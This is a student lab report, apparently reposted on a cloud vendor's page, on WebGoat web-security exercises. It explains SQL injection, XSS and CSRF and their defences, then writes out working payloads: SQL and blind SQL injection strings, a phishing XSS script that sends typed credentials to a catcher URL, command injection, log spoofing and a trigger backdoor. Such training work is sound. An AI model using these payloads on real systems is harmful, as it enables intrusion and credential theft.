2017-2018-2 20155303 "Network countermeasure Technology" Exp9:web Security Foundation

Source: Internet
Author: User
Tags sql injection attack csrf attack

2017-2018-2 "Network countermeasure Technology" Exp9:web Security Foundation

———————— CONTENTS ————————
  • I. Answers to basic questions
    • 1.SQL injection attack principle, how to defend?
    • 2.XSS attack principle, how to defend?
    • 3.CSRF attack principle, how to defend?
  • Two. Practice Process record
    • 1.General
      • ①http Basics
    • 2.Code Quality
      • ①discover clues in the HTML
    • 3.cross-site Scripting (XSS)
      • ①phishing with XSS
      • ②stored XSS Attacks
    • 4.Injection Flaws
      • ①command Injection
      • ②numberic SQL Injection
      • ③log Spoofing
      • ④xpath Spoofing
      • ⑤lab:sql Injection
      • ⑥string SQL Injection
      • ⑦database backdoors
      • ⑧blind numberic SQL Injection
      • ⑨blind String SQL Injection
  • Three. Practice Summary and experience
  • Attached: References

I. Answers to basic questions

1.SQL injection attack principle, how to defend?

SQL injection, by inserting a SQL command into a Web form to submit or entering a query string for a domain name or page request, eventually achieves a malicious SQL command that deceives the server.

SQL injection attacks are the main reason why SQL injection attacks are successful because they use design vulnerabilities to run SQL statements on the target server and other attacks, without validating the data entered by the user when dynamically generating SQL statements.

For example, the login process, the SQL statement is generally: "select id from users where username = ‘"+username +"‘ and password = ‘" + password +"‘" , here username and password all we access from the Web form the data obtained. If we enter in the form in username the input box ‘ or 1=1-- . The SQL statement that we are going to execute at this point becomes the select id from users where username = ‘‘ or 1=1-- and password = ‘‘ . Because 1=1 is true, it is and password = ‘‘ commented out later. So here's a full skip to SQL authentication.

The above is one of the most classic cases. But in this experiment, it also involves the limit of the length of the input characters, and so on, need to modify the corresponding code.

Thus, the main defense against SQL injection attacks is:

    • Close or delete unnecessary interactive submission Form pages;
    • The code and the SQL injection keyword are filtered to standardize the code security of the vulnerability injection point related code;
    • Do not place backed-up files on the server side to avoid infection, or the backed-up files contain vulnerabilities that create pointcuts.

2.XSS attack principle, how to defend?

Attackers exploit web site vulnerabilities (often these vulnerabilities mean that the Web site spooler does not filter user input well), enter HTML code that can be displayed on the page, affect other users, and because the victim's browser trusts the target server when it accesses a page that is injected with a malicious script on the target server , this malicious script can be executed smoothly, to obtain the user's cookie and can take advantage of the user's identity for illegal operation.

The browser itself can recognize a simple XSS attack string, thereby preventing simple XSS attacks, fundamentally, the solution is to eliminate the Web site's XSS vulnerability, which requires site developers to use the means of escaping security characters.

One principle: do not trust any data entered by the user!

3.CSRF attack principle, how to defend?

The full name of CSRF is "cross-site request forgery", and the full name of XSS is "cross-site scripting". Look a bit similar, they are all cross-site attacks-do not attack the server side and attack normal access to the site users. CSRF as the name implies, is a forgery request, impersonating the user in the station normal operation. We know that the vast majority of websites use cookies to identify users (including websites using server-side sessions, where session IDs are mostly stored in cookies), and then authorize them. Therefore, in order to forge the normal operation of the user, the best way is to enable the user to initiate a request that the user does not know by means of XSS or link spoofing, such as the browser side of the identity cookie.

Strictly speaking, CSRF cannot be classified as an injection attack, because the CSRF approach is far more than the XSS injection. CSRF is easy to achieve through XSS, but for poorly designed sites, a normal link can cause CSRF.

The defensive approach can be considered in the following ways:

    • Improve the design of the API in the station. For posts that create resources, you should only accept post requests, and GET requests should only browse without altering server-side resources.
    • Use the request token. First, the server side to generate a random string of strategies, as tokens (token), stored in the session. The token is then sent in the form of a hidden field in the requested page, along with other information. On the page receiving the request, the token in the received message is compared with the token in the session, only the request is processed in the same time, otherwise HTTP 403 is denied or the user is required to re-login to verify the identity.

Back to Catalog

Two. Practice Process record


1.General

①http Basics

★ Basic Knowledge

The purpose of this lesson is to understand the basics of data interaction between browsers and Web applications.

How does HTTP work? All HTTP transports must follow the same common format (you need to use the Iewatch or WebScarab class plugin to help with learning). Each client's request and server response has three parts: a request or response line, a header section, and an entity section. The client initiates an interaction in the following manner:

The client connects to the server and sends a file request:

GET /index.html?param=value HTTP/1.0

Next, the client sends an optional header message informing the receiving server of its configuration and file format:

User-Agent: Mozilla/4.06 Accept: image/gif, image/jpeg, */*

After sending the request and the header, the client can send more data. This data is used primarily for CGI programs that use the Post method.

★ Operation Method

Step 1: Use sudo apt-get install webscarab the command to install WebScarab, to modify the editing of HTTP messages and so on. Open WebScarab.

The Step 2:webscarab has two display modes: Lite interface and full-featured interface , you can switch mode under the Tools menu, need to restart the software to take effect, modify the HTTP request information needs to be full-featured interface carried out.

Step 3: Click Proxy标签页->Listeners标签页 , enter the URL and port number, etc., add listener.

Step 4: Click Proxy标签页->Manual Edit标签页 to select Intercept requests

Step 5: In the browser (take Firefox as an example), click Open menu->Preferences->Advanced->Network选项卡 , select the right Settings... to set, add a localhost agent:

Restart Firefox after the change is in effect.

Step 6: Enter the name in the input box, click Go! , you can see the submitted HTTP request in WebScarab:

Back to Catalog


2.Code Quality

①discover clues in the HTML

★ Basic Knowledge

As we all know, many developers like to save Fixme's, code broken, Hack and other statements in the source code. By reviewing the relevant comments in the source code, you can often find passwords, backdoors, and some potential problems.

The "View Source" feature in the browser Tools menu allows you to view the HTML source code of the Web page.

★ Operation Method

Press F12 on the current page and select "Inspect ...". FIXMEthe search can see records about the user name and password:

admin/adminpwis the login name and password that we need.

Back to Catalog


3.cross-site Scripting (XSS)

①phishing with XSS

★ Basic Knowledge

With the help of XSS, you can implement fishing tools or add content to certain official pages. It is difficult for victims to find out if the content is a threat.

The overall goal is to create a form that requires the user name and password to be filled in.

★ Operation Method

Step 1: A table with the user name and password input boxes is as follows:

<form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br></form><br><br><HR>

By searching for this code, you can see a form added to the page:

Step 2: A script is also required:

<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen." User Name = " +document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=newImage; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}</script>

This code reads the user name and password information entered on the form and sends that information to the webgoat that captures the information.

Step 3: Finally, the two pieces of code are to be merged. The final code to enter is as follows:

<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen." User Name = " +document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=newImage; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}</script><form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login"onclick="hack()"></form><br><br><HR>

Search this code, the user name and password to fill the interface:

Fill in and log in, Webgoat will feedback the input information:

②stored XSS Attacks

★ Basic Knowledge

Input validation is a good method, especially for validating the input of operating system commands, scripts, and database queries that will be used later as parameters. It is especially important that the content will be permanently stored there. Users should be prevented from creating message content. When the user's information is retrieved, it may cause other users to load a bad webpage or bad content. An XSS attack can also occur when an unauthenticated user's input is used as an HTTP response. In a reflective XSS attack, an attacker would use an attack script to craft a URL and then click on the victim by sending it to another website, e-mail, or other means.

In this exercise, we try to perform a storage-type cross-site scripting attack.

★ Operation Method

Constructs the statement in the message <script>alert("20155303 attack succeed!");</script> , the title arbitrary. After you submit, you can find the post you just created test5303:

Back to Catalog


4.Injection Flaws

①command Injection

★ Basic Knowledge

Command injection attacks are a serious threat to any one parameter-driven site. The technology behind this attack technology is simple and easy to learn, which can cause widespread damage and endanger the security of the system. Despite the incredible number of such risks, systems in the Internet are vulnerable to this form of attack.

Such attacks are prone to spread and cause even worse effects. But for such threats, a little common sense and pre-prevention can almost completely stop.

★ Operation Method

Step 1: Press F12 to enter the Debug interface, choose Inspect... to modify the source code.

Step 2: For example, BackDoors.help add the following"& netstat -an & ipconfig"

Step 3: Click View to see the output of the command:

②numberic SQL Injection

★ Basic Knowledge

By injecting feature characters into the station field, the group can synthesize new SQL statements.

SELECT * FROM weather_data WHERE station = [station]

The form of this problem allows users to view weather data. All weather data needs to be viewed by injecting a SQL string.

★ Operation Method

Step 1: Press F12 to enter the Debug interface, choose Inspect... to modify the source code.

Step 2: In the list of options, select any value, such as "101", followed by or 1=1 .

Step 3: The output is as follows:

③log Spoofing

★ Basic Knowledge

This attack is a fool's eye in a log file that an attacker can use to clear their traces in the log.

★ Operation Method

The gray area represents the contents of the record in the Web server's log. The goal is to use a user named "admin" to display "successful login" in the log.

Step 1: Enter the user name in the text box: smith Login Succeeded for username admin so that the information after the user name is displayed on the same line instead of on a new line.

Step 2: You can inject carriage return (0d%) and line feed (%0a) into the application. Fill in the username Smith%0d%0aLogin Succeeded for username: admin to achieve the purpose of modifying the log:

Step 3: Attackers can use this method to add malicious script to the log file, the return information of the script manager can be seen through the browser. For example, it will be admin <script>alert(document.cookie)</script> entered as a user name.

④xpath Spoofing

★ Basic Knowledge

Similar to SQL injection, XPath injection occurs when a Web site queries XML data using user-supplied information. By intentionally sending exception information to the site, an attacker can discover the structure of the XML data or access data that would otherwise have been inaccessible. If the XML is a user authentication file (such as an XML-based user file), the attacker can also use this to elevate their privileges in the Web site. Using the XPath query XML, a simple descriptive statement type allows XML queries to find a piece of information. As with SQL, you can specify that some of the properties found match the pattern.

When using XML in a Web site, it is universally accepted that some form of input, query string, find and display the identified content on the page. This type of input must be cleaned to verify that it does not affect the XPath query and return the error data.

★ Operation Method

The form on this topic allows employees to see all of their personal data, including their remuneration.

XPATH injection is similar to SQL injection. Creates an XPath query from an unauthenticated input. The following code shows how to build an XPath query:

String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");File d = new File(dir);XPathFactory factory = XPathFactory.newInstance();XPath xPath = factory.newXPath();InputSource inputSource = new InputSource(new FileInputStream(d));String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" +password + "']";nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);

Injected at the user name Smith‘ or 1=1 or ‘a‘=‘a , this will display the first user to log on to the system. The password is a required field and can be entered arbitrarily.

Here's what the server gets:

expression = "/employees/employee[loginID/text()='Smith' or 1=1 or 'a'='a' and passwd/text()='password']"

After the server resolves:

expression = "/employees/employee[ ( loginID/text()='Smith' or 1=1 ) OR ( 'a'='a' and passwd/text()='password' ) ]"

After entering, click "Sign in" to see other people's information:

⑤lab:sql Injection

★ Operation Method

Step 1: Log in as User Neville, enter SQL injection in the password field ‘ or 1=1 -- , Login failed.

Step 2: Check the source code of the Web page and find that the input length is limited. Change to 100, then inject, success:

⑥string SQL Injection

★ Basic Knowledge

Constructs your own SQL injection string based on the following query statement.
SELECT * FROM user_data WHERE last_name = ‘?‘

★ Operation Method

A table that allows users to view their credit card numbers. Try to display all credit card information through SQL injection. The user name you tried is "Smith".

You can do this by entering the following code:

’ or 1=1 --// 或者Smith' or 1=1 --

As shown in the following:

⑦database backdoors

★ Basic Knowledge

A database is typically used as a backend for a Web application. In addition, it is also used as a storage medium. It can also be used as a place to store malicious activity, such as triggers. A trigger is a call to another database operation on a database management system, such as INSERT, select, Update, or delete.

For example, an attacker could create a trigger that, when a new user is created, sets the email address of each new user to the address of the attacker.

★ Operation Method

Step 1: Enter 101 to get the user's information:

It can be found that the input statements are not validated and are easily SQL injected.

Step 2: To execute two statements, a semicolon is required to separate the middle. Enter the injection statement 101; update employee set salary=10000 .

Step 3: If you set a trigger, you can use the following query criteria:

101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]' WHERE userid = NEW.userid

Since Webgoat uses a MySQL database and does not support triggers, the above is not really implemented here.

⑧blind numberic SQL Injection

★ Basic Knowledge

Some SQL injections have no explicit return information and can only be judged by the condition "true" and "false". An attacker would have to make full use of the query statement to construct a subquery.

★ Operation Method

Step 1: There are only two types of information returned from the Server page: The account number is valid or invalid. Therefore, you cannot simply query the PIN value of your account. Nonetheless, we can use query statements that are used in the background of the system. The query statements are as follows:

SELECT * FROM user_data WHERE userid=accountNumber;

If the query statement returns information about the account, the page will prompt the account to be valid, otherwise the prompt is invalid.

Step 2: Using the AND function, we can add some additional query conditions. If the query condition is also true, the returned result should indicate that the account is valid, otherwise it is not valid. For example, the following two query methods:

101 AND 1=1101 AND 1=2

In the first statement, two conditions are true, so the page returns to the account number. And the second one returns an invalid account number.

Step 3:

Complex statements can now be constructed for the second half of a query statement. The following statement can tell us if the PIN value is greater than 10000:

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

If the page prompt account is valid, explain pin>10000 otherwise pin<=10000.

Step 4:

Constant adjustment of the value, you can narrow the scope of judgment, and ultimately determine the size of the pin value. Finally, the following statement returns the account number valid:

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

Step 5: Enter 2364 in the query box and submit:

⑨blind String SQL Injection

★ Operation Method

The goal is to find the numeric value of the Pin field in the record in the pins table with a value of cc_number field of 4321432143214321. The PIN field type is varchar. Enter the values found (the final string, note the spelling and capitalization) and submit.

This lesson is very similar to the previous section. The biggest difference is that the field being queried is a string rather than a numeric value. So we can also find the value of the field by injecting it into the same way. The query statement is very similar to the previous section, as follows:

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );

The statement uses the substring method to get the first letter of the numeric value of the Pin field and to determine whether it is smaller than the letter "H". The SUBSTRING syntax is as follows:

SUBSTRING(STRING,START,LENGTH)

After many tests (comparing strings such as 0-9a-za-z) and the return data of the page, the first character is judged as "J". Similarly, continue to judge the second character.

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );

Finally, the value of the pin field is determined to be: Jill. Commit the change value:

Back to Catalog

Three. Practice Summary and experience

This experiment is carried out on the Webgoat platform, and does not require overly complicated environment configuration process, and every small experiment test knowledge point is very clear. For example Injection Flaws , there are a lot of small experiments on injection, different experiments focus on different points of study. Whether it is command injection, log spoofing, or database backdoor, I have a deeper understanding of the theory in practice. In addition, in the course of practice, I refer to the official manual of Webgoat, which is very clear about the principles of every small experiment. The experiment was successfully completed under the guidance of the Official Handbook.

Nine experiments to this end of the successful, sprinkle flowers? ( ? )?

This semester continued the "self-study + Practice + Blog Summary" model, with the foundation of the previous year and the habit of nurturance, this semester can be more quickly adapt. Overall harvest is very large, although only some of the network offensive and defensive practice, but the aspect of the very wide, let us understand the various areas of possible attacks. "Master lead the door, practice by personal" bar, the course of a short semester of study time can not be all the latest attacks exhaustive, can master the method is the most important.

Is the end is also the beginning, I wish the students in this course have achieved satisfactory results? ( "? )???

Back to Catalog

Attached: References
    • Summarize two kinds of cross-site attacks of XSS and CSRF
    • Web Security Test-webscarab
    • Fiddler blocking HTTP request modification data

2017-2018-2 20155303 "Network countermeasure Technology" Exp9:web Security Foundation

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.